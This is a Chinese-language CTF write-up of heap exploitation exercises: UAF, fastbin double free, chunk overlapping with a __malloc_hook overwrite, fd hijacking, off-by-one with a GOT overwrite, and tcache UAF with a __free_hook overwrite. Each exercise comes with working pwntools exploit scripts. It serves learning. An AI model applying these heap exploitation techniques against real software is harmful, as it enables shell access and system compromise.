PWN练习---Heap

heap_Easy_Uaf

题源：PolarD&N
考点：UAF漏洞(use after free)

源码

程序是一个菜单，可以实现add，dele，edit，puts 堆块内容等的功能。（堆块编号从0开始）
注意到一个存在backdoor的逻辑功能如下：
联想截图_20240207221243.png

分析

分析得到：system函数执行的条件 ----> 堆块a 中前四个字节数据为 Flag。
注意到一开始就申请了堆块 a 并赋值，然后立即销毁。但是没有销毁指针，指针 a 依然指向第一次申请的内存块。
由于堆块被释放后会成为 unsorted bin 或 fastbin**，再次申请一个内存大小与 a 差不多（不大于a）的堆块时，堆块 a 会直接被拿来使用，此时由于指针 a，b 指向同一个堆块**，向b堆块写入数据，也就是向a堆块写入数据，在后面对堆块a的内容进行验证时候满足shell执行条件。

exp

略…

pwn141(UAF)

题源：ctfshow–pwn141 （溯源：某比赛真题改编，原题目考点：64位UAF + libc3，并且有函数混淆，需要重命名。）
考点：32位UAF
参考讲解：第二道真题

源码

add模块

note_1和note_2分别存放两个指针：*print_note_content 和 malloc --> data 的指针。
malloc堆块一：note长度为0x8，note_1与note_2各占据一个字节。
malloc堆块二：根据size确定为data分配堆块大小。

联想截图_20240226210052.png

note_1指向地址的函数

联想截图_20240226210124.png

show模块

联想截图_20240226210342.png

dele模块

这里在将主函数下的堆块释放时候，由于没有销毁堆块指针，因此free函数执行后，堆块指针不会随之销毁，造成UAF漏洞。

依次将 note_2指向的data堆块与 note堆块释放。

联想截图_20240226210723.png
键入“\”使得IDA隐藏/显示指针类型。
联想截图_20240226210734.png

解释：
DWORD：双字（0x2 = 2 * 0x1）(32位)
&notelist + v1 ：note(v1)的第一部分
（&notelist + v1）+ 4：note(v1)的第二部分 -----> note堆块总长度为0x8（4*0x2）

发现程序存在后门函数 system(cat /flag); 地址：0x8049684

分析

add之后的堆块结构如下：
联想截图_20240226222434.png
dele释放note之后fastbins内容：
联想截图_20240226214759.png

思路：想办法将指针note_1与note_2指向同一个位置，利用note_2的写入功能将后门函数地址写入，然后利用show模块功能调用note_1指向的地址函数（即后门system），获取到flag。

Step1：先申请两次堆块，然后依次释放。
Step2：再申请一个大小为0x8note，填写data为后门函数地址。
联想截图_20240226223136.png

第三次申请的data填写数据时候，会从0x0开始，也就是note_1部分，此时即可修改控制字段。
**Step3：**调用程序的show功能，将note_1的内容打印。此时就会跳转执行后门函数。
[溯源]
**()Step2：**第三次申请堆块，填写data为puts_got地址。
()**Step3：**调用show功能泄漏puts函数地址并接收，计算出system函数地址。
(*)**Step4：释放堆块后再把该堆块申请回来，**填写 data为：system函数地址 + ||sh。

控制字段：system
数据段：||sh
解释：system的参数指向note整体，形如： system(system_address || sh)
system参数为地址时候，命令无效，加上 || 实现执行shell。

exp

......
malloc(0x20,b'aaaa')   # malloc(data--size,content)
malloc(0x20,b'bbbb')   #堆块序号从0开始，注意替换
free(0)	#free(index)	# free(1)
free(1)					# free(2)
malloc(0x8,p32(0x8049684))
printf(0)        # 该index与释放顺序有关
io.interactive()

PolarD&N–like_it 与pwn141雷同，就不写了。

heap_Double_Free

题源：PolarD&N–heap_Double_Free（简单）
考点：fastbin–双重释放任意地址写
难点：malloc 构造的fake_heap时候申请堆块大小 —> 绕过fastbin检查到chunk_size不一致导致申请失败。

源码

常规菜单题目，注意到 bss段 unk_6010A8 = 113（0x71）。退出程序会验证是否满足shell，否则正常退出。
联想截图_20240302163456.png 联想截图_20240302163618.png

分析

已知：存在双重释放漏洞
目的：满足shell执行条件。（使得 unk_6010B0 = 0x101）
方法：利用** double free 修改一个堆块的 fd 指针为改写地址（伪造fake_heap），再次malloc向目标地址申请堆块并修改数据。
流程：首先malloc两次**（或三次，heap_3隔绝top chunk，fastbins通常不合并，本题不需要**）**，然后依次释放1，2，1使得进入fastbin。（见下表）

free(1,2,1)	fastbin_1	------->	heap_1	------->	heap_2	----->	heap_1
取出heap_1篡改fd指针
malloc(1)	fastbin_1	------->	heap_2	------->	heap_1
edit–>heap_1_fd	fastbin_1	------->	heap_2	------->	heap_1	------->	addr
依次malloc将目标地址取出来
malloc(2)	fastbin_1	------->	heap_1	------->	addr
malloc(1)	fastbin_1	------->	addr
malloc(addr)	fastbin_1
修改目标地址数据
edit(addr)

Tip1：edit_fd指针
由于修改数据时候会先接触到 fd 部分，然后才是data区域，因此malloc之后的edit可以修改heap_1的fd指针为任意地址，指向下一个malloc的堆块。
联想截图_20240302171903.png
Tip2：size(addr)
heap块起始位置存在size字段，而bss段中目标修改地址前面8字节数据为0x71，由于向该地址malloc堆块的时候，fastbin的 bin 链会检查 size 是否符合当前 idx，异常则会报错退出。
通过查看目标地址的“size”得到0x71，因此需要保证所修改的 chunk 处于 fastbins 的 0x70 链上。

** malloc(x)若申请到 idx==0x70，则：**
【x+0xF+0x10 异或 0xF == 0x70】（0x60<= x <= 0x68）

未使用的fastbin堆块结构，使用中的没有fd指针。

联想截图_20240302171121.png

exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./df')
io = process('./df')
#io = remote('120.46.59.242',2051)
def malloc(id,size,context):
	io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'1')
	io.sendlineafter(b':\n',str(id))
	io.sendline(str(size))
	io.sendlineafter(b':\n',context)
def free(id):
	io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'2')
	io.sendlineafter(b'id :\n',str(id))
def exit():
	io.sendlineafter(b'/Desktop$ ',b'4')
malloc(0,0x68,b'a'*10)  # malloc的size必须大于等于 0x60  小于 113(0x71)
malloc(1,0x68,b'a'*10)
#malloc(2,0x68,b'a'*10) # 可有可无,有时候chunk2用来隔绝top_chunk，以免发生合并

free(0)
free(1)
free(0)

addr = 0x6010A0
malloc(3,0x68,p64(addr))
malloc(4,0x68,p64(0x101))
malloc(5,0x68,p64(0x101))
malloc(6,0x68,p64(0x101))

exit()
io.interactive()

overlapping + unsortedbin_attack

题源：PolarD&N–Emo_chunk
考点：chunk_overlapping + unsortedbins_leak_malloc_hook

源码

菜单功能：add，delete，edit，print，exit。并且存在后门函数。
联想截图_20240306171505.png
联想截图_20240306172013.png
联想截图_20240306171551.png
联想截图_20240306171650.png

分析

主要思路：
首先malloc一些chunk，然后利用 edit 功能的堆溢出漏洞 ---->覆盖下一个chunk的size足够大，然后释放使得进入 unsortedbins，然后再次 malloc 一个较小的chunk（会从unsortedbins切割出来）。由于发现从 unsortedbins（small，large有关也一样）获得的 chunk 没有清空原来指向 main_arena区域的指针，并且可以利用 print 功能打印出来该地址。通过调试泄露出来的 addr 与 __malloc_hook 的偏移（是固定的）得到__malloc_hook 的地址。
然后从剩下的 unsortedbins 分割出一个较小的 chunk（或者直接使用剩余的chunk），接着把它释放使得进入 fastbins，edit 第一次从 unsortedbins 的 chunk ,利用堆溢出修改第二次分割出来进入 fastbins 的 chunk 的fd指针为 __malloc_hook 附近上方一个地址，【这里的 addr 需要满足 size 位置与所在 fastbins链的 idx 一致，以便绕过 size 的检查，通常是 __malloc_hook - 0x23，该地址数据通常为 0x7f（借位原数据0x7fxxxxxxxxxx 得到），利用fastbins分配机制进入 0x70 链表】然后回收该 chunk，再次申请一个 chunk。接下来将会从目标地址申请一个 chunk，利用 edit 将数据填充到 __malloc_hook 。
最后将 addr(__malloc_hoook) 的数据修改为后门函数地址。（或者one_gadget，shellcode地址等）
【通常__malloc_hook地址的data为0，如果存在函数地址，在进行 malloc时候就会跳转执行该函数，否则进入 malloc分配算法下一步，___free_hook 也是同理。】

exp图解:

联想截图_20240306180044.png
联想截图_20240306180051.png

调试过程部分截图参考:
__malloc_hook 地址在 main_arena 上面 0x10 字节位置

联想截图_20240304225650.png

官方wp的构造payload.

联想截图_20240305144231.png

__malloc_hook地址正常情况为零

联想截图_20240305144639.png

me思路,直接将__malloc_hook填充为shell地址.

联想截图_20240305145902.png

验证__malloc_hook只占据8字节,__malloc_hook+8地址填充shell无效.

联想截图_20240305145920.png
联想截图_20240305150144.png

exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
magic = 0x400946
#io = process('./overlap')
io = remote('120.46.59.242',2124)
elf =ELF('./overlap')

def malloc(size):
	io.sendlineafter(b'Choice!\n',b'1')
	io.sendlineafter(b'Size:\n',str(size))

def free(id):
	io.sendlineafter(b'Choice!\n',b'2')
	io.sendlineafter(b'index:',str(id))

def edit(id,content):
	io.sendlineafter(b'Choice!\n',b'3')
	io.sendlineafter(b'index:\n',str(id))
	io.sendafter(b'Change EMo Content\n',content)

def printf(id):
	io.sendlineafter(b'Choice!\n',b'4')
	io.sendlineafter(b'index:\n',str(id))

malloc(0x60) # malloc(0)  
malloc(0x60)   #malloc(1)  
malloc(0x60)  #malloc(2)
malloc(0x60)   #malloc(3)  


edit(0,b'aaaaaaaa'*13+p64(0xe1))  # unsorted_size = 0xe1
free(1)

malloc(0x60)   #malloc(1)   
      #剩余unsorted_size = 0x70,被切割,但是chunk_1原指针(指向内存区域)未被清除，可以用来泄露。
printf(1)
add = u64(io.recv(6).ljust(8,b'\x00')) # main_arena+88
main_arena = add - 0x58 - 0xd0  # 
malloc_hook = main_arena - 0x10 
print(hex(main_arena))
print(hex(malloc_hook))

free(2)
edit(1,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))  
    #将chunk_2进入fastbin后的fd指针修改为 malloc_hook-0x23
malloc(0x60)  # malloc_2
malloc(0x60) # malloc_hook  4

edit(4,b'aaaaaaaa'*2+b'aaa'+p64(magic))
malloc(0x28)  # 5 shell

io.interactive()

......
malloc(0x68) # malloc(0)  
malloc(0x68)   #malloc(1)  
malloc(0x68)  #malloc(2)
malloc(0x68)   #malloc(3)
malloc(0x68)   #  malloc(4)
malloc(0x68)  # malloc(5)

edit(0,b'aaaaaaaa'*13+b'\xe1'+b'\x00'*7)  
free(1)
malloc(0x68)   #malloc(1')    
printf(2)

base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b20 - 0x58 
   # main_arena+88 - offset = libc_base
libc = elf.libc
malloc_hook = base + libc.sym['__malloc_hook']
realloc = base + libc.sym['realloc']

one = 0xaaaa
one_gadget = base + one

free(4)
edit(3,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))

malloc(0x68)  # malloc 4'
malloc(0x68) # malloc 6
edit(6,b'a'*(0x23-0x10)+p64(magic))  # 自修改
# edit(6,b'a'*(0x23-0x10-0x8)+p64(one_gadget)+p64(realloc))  # 官方wp

malloc(0x68) 
io.interactive()

fd–hijack

题源：PolarD&N–worker
考点：篡改 fd / bk 导致 unsortedbins 或 fastbins 任意地址写

源码

常规菜单题目，主函数存在触发shell的条件。联想截图_20240307171634.png
free 函数对 UAF 和 df 采取了防御，不能突破。
联想截图_20240307171608.png
edit 函数存在漏洞，可以控制写入字节，造成 overlapping 攻击。
联想截图_20240307171547.png

分析

方法一：fastbins_attack
首先申请几个堆块，然后将下面一个堆块释放，对该堆块物理地址相邻的上一个chunk利用堆溢出覆盖fastbins中的chunk的fd指针，通过两次malloc到达目标地址，接着进行改写数据，最后在菜单界面利用index触发shell函数。

Tips：写入字节数问题。
这里要注意上一个chunk的fd指针指向下一个chunk的pre_size部分，而data是从本chunk的fd指针位置写入的，如下图：

方法二：unsortedbins_attack
(待定…)

exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./worker')
#io = remote('120.46.59.242',2075)
elf =ELF('./worker')

def malloc(size,content):
	io.sendlineafter(b'Your choice :\n',b'1')
	io.sendafter(b'Size of work:',str(size))
	io.sendafter(b'Content of work:',content)

def free(id):
	io.sendlineafter(b'Your choice :\n',b'3')
	io.sendafter(b'Index :',str(id))

def edit(id,read_size,content):
	io.sendlineafter(b'Your choice :\n',b'2')
	io.sendafter(b'Index :',str(id))
	io.sendafter(b'Size of work :',str(read_size))
	io.sendafter(b'Content of work :',content)

def pwn():
	io.sendlineafter(b'Your choice :\n',b'1285')

malloc(0x60,b'a') # malloc(0)  
malloc(0x60,b'a')   #malloc(1)  
free(1)
fd = 0x6020ad # 或者 0x60209d ---> 0x13*b'a'+p64(0x505)
edit(0,0x100,b'aaaaaaaa'*13+p64(0x71)+p64(fd))

malloc(0x60,p64(fd)) # 任意数据均可 
malloc(0x60,b'a'*(0x3)+p64(0x505)) #  b'0x505' = 0x30 89 35 35  

pwn()
io.interactive()

pwn142(off by one)

题源：ctfshow–pwn142
考点：off by one

源码

add部分如下

首先会申请note控制字段的chunk，大小为0x21。

tips：这里申请chunk时候输入的size == 后续可写入字节 - 1，与实际chunk大小无关。

每个note简化为下图模式：
联想截图_20240308183404.png

free部分源码

联想截图_20240308183447.png

edit

联想截图_20240308183856.png

show

联想截图_20240308184017.png

分析

思路一：修改 free_got 为system函数地址，chunk内容为 b’/bin/sh\x00’ 开头即可，利用 free(id) 操作获取 shell。

Step1. 申请两个note，（需要满足data的chunk大小为0x21），将第一个note的data填充 b’/bin/sh\x00’ ，接着继续填充 利用 edit 一字节溢出修改下一个note的控制chunk size字段，这里以0x41为例。

【由于程序的malloc顺序问题，易知 note_2 的控制chunk在物理地址紧接着 note_1 的data部分chunk】。

Step2. 将 note_2 释放，由于释放 note_2 的时候 0x21 的控制chunk 被修改为 size：0x41，而data部分的chunk–> size == 0x21【位于控制字段物理地址下面】，因此进入fastbins后会进入不同的 bin 链。
联想截图_20240308195503.png
然后再次申请 note，使得 data 刚好获取 0x41 大小的chunk。此时 原先的控制 chunk 就会被拿出来当作data段chunk，原先data段chunk则被当作控制chunk，此时该note_2结构如下：【出现两部分共用一个chunk】
联想截图_20240308190402.png
而又因为data段chunk大小为0x41，因此edit时候可以做到完全控制控制chunk的内容。
联想截图_20240308194623.png
联想截图_20240308195034.png
Step3. 因为control部分chunk包含data大小size字段和指向data的指针，并且show会打印出该指针指向的地址内容，因此利用edit将控制chunk的指针修改为 free_got 地址，即可利用 show 获取到 free_addr，进而得到system函数地址。
Step4. 因为edit会向指针指向的addr覆写数据，在上一步中已经将该指针修改到了 free_got 地址，直接对该chunk进行edit，写入system函数地址，即可将 free_got 篡改为 system 函数地址。
Step5. 最后释放chunk_1，此时会调用 free_got 地址的函数，即system。然后由于chunk_1的data段先被释放，其内容就会作为system函数的参数，进而获取shell。

或者其他思路…

exp

#glibc远程版本 2.27，本地 2.23
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28103)
elf =ELF('./pwn')
free_got = elf.got['free']
......
malloc(0x18,b'a') # malloc(0)    # 0x21
malloc(0x18,b'a')   #malloc(1)  

edit(0,b'/bin/sh\x00'+b'a'*0x10+p64(0x41))
free(1)
malloc(0x30,b'a'*0x18+p64(0x21)+p64(0x30)+ p64(free_got))
printf(1)

free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free_addr))

libc = elf.libc  
# ELF('/home/kali-2/桌面/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')  
libc_base = free_addr - libc.sym['free']
sys = libc_base + libc.sym['system']
print(hex(sys))
'''
gdb.attach(io)
pause()
'''
edit(1,p64(sys))
free(0)
io.interactive()

uaf

题源：[NewStarCTF 2023 公开赛道-week4] ezheap
考点：UAF + mmap 映射

源码

源码就不放了，主要逻辑如下图：

相对而言(不考虑多个指针指向同一个chunk时候)：note指向data的指针和 data部分的chunk 都不会被释放，note 从bins被取出来会更新该指针指向地址。

联想截图_20240308230833.png
注意一下，当调用 edit 功能时候会先进行验证，如果不通过就无法修改内容。

free 掉一个 note 之后，会进入 tcachebins 链表，并且只会清除该 note 的 size 段内容，指向data 的指针被保留。

分析

首先先了解到：当malloc的chunk过大时候，如果使用了mmap范围的大小，会申请到Libc附近，这时候打印，就泄露了Libc。
调试得到：该 chunk 不会归入 heap 部分，也不会参与正常chunk的取回与回收入bins过程，只是作为一个可写地址保存data内容，

vmmap部分调试截图：
联想截图_20240308234431.png
联想截图_20240308234609.png
联想截图_20240308234817.png
联想截图_20240308234952.png

payload详细流程参见exp注释。

exp

#flag{da81e664-52b3-4553-90e2-31a6f5086ba7}
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./uaf')
#io = remote('node5.buuoj.cn',27066)
elf =ELF('./uaf')
libc = elf.libc  # ELF('./libc.so.6')
......
# note = malloc(0x20)  # 0x30  +8,+16, == 0 ,+24 == str

malloc(0,0x20,b'a')
malloc(1,0x40000,b'a') # note_1 的 note部分 会记录 mmap映射到的地址
malloc(2,0x20,b'a')
malloc(3,0x20,b'a')

free(1)
free(2)				# tcachebins 【LIFO】
malloc(4,0x20,b'a'*8*3) 
# note_4 的 note 和 data 分别是 note_2 和 note_1的 note部分

show(4)
# 亦即 note_4 的 data chunk 包含着 vmmap 映射的地址，接着利用show进行泄露。
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10 + 0x41000
#调试计算偏移得到基地址。
print(hex(libc_base))

free_hook = libc.sym['__free_hook'] + libc_base
sys = libc.sym['system'] + libc_base

edit(4,p64(0x40000)+p64(0)*2+p64(free_hook))
# 由于 data_4 就是 note_1_note ，在对 note_1 进行编辑之前需要恢复size绕过检查
# 接着覆盖 note_1 的 note 部分data指针为 free_hook【该部分数据正常情况为0】
edit(1,p64(sys))
# 利用 edit 向 free_hook 地址 写入 system 函数地址，在 free chunk 的时候触发函数
edit(4,b'/bin/sh\x00'+p64(0)*2+p64(free_hook)) 
# 这里填充 p64(free_hook) 与  p64(0) 效果一样
# 由于只有 note 部分可以释放，因此利用 edit(4) 修改 note_1 的 note部分 内容
free(1)
# 释放 note_1 的 note部分，触发shell执行。
io.interactive()